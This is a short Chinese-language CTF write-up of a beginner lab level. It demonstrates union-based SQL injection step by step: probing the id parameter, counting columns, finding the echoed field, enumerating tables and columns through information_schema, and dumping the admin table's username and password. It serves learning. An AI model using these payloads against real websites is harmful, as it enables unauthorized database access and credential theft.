初入CTF(封神榜第一关)
1判断是否存在注入点
构造?id=1 and 1=1(不报错)
构造?id=1 and 1=2(报错或者不显示内容)
报错说明and后面的语句被识别
2判断回显字段的长度
构造?id=1 and 1=1 order by 5(这需要尝试多个数值直至不显示,这里试到3就可以看出来)
3判断回显的字段
构造?id=1 and 1=2 union select 1,2,3……(显示的字段即为回显发生的地点,后面数字根据上一步判断)其中1=2是为了让页面不显示内容只显示后面查询的内容
亲测1=1不行(应该是被前面的挡住了)
在后面将需要显示的变量放在回显的地方(这里回显发生在第二个字段)
4数据库相关信息
利用数据库中的函数查询数据库系统名称
这里构造:?id=1 and 1=2 union select 1,database();
select database();
select version();这里同理。
这些都是数据库函数,具体让它产生效果需要将其放在指定位置
5正式开始
1获取数据表的信息
构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1(其中information_schema是一个数据库本身就有的表,里面存放数据库中的表和其他信息)
表名为admin
2获取表中有哪些列
构造
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
有一列叫id
改limit 0,1为limit 1,1
接着改
直到没有显示(爆出所有字段名)
3接着就可以直接查数据(已知表明叫admin)
构造
?id=1 and 1=2 union select 1,username from admin limit 0,1
爆出username为admin
同理爆出密码等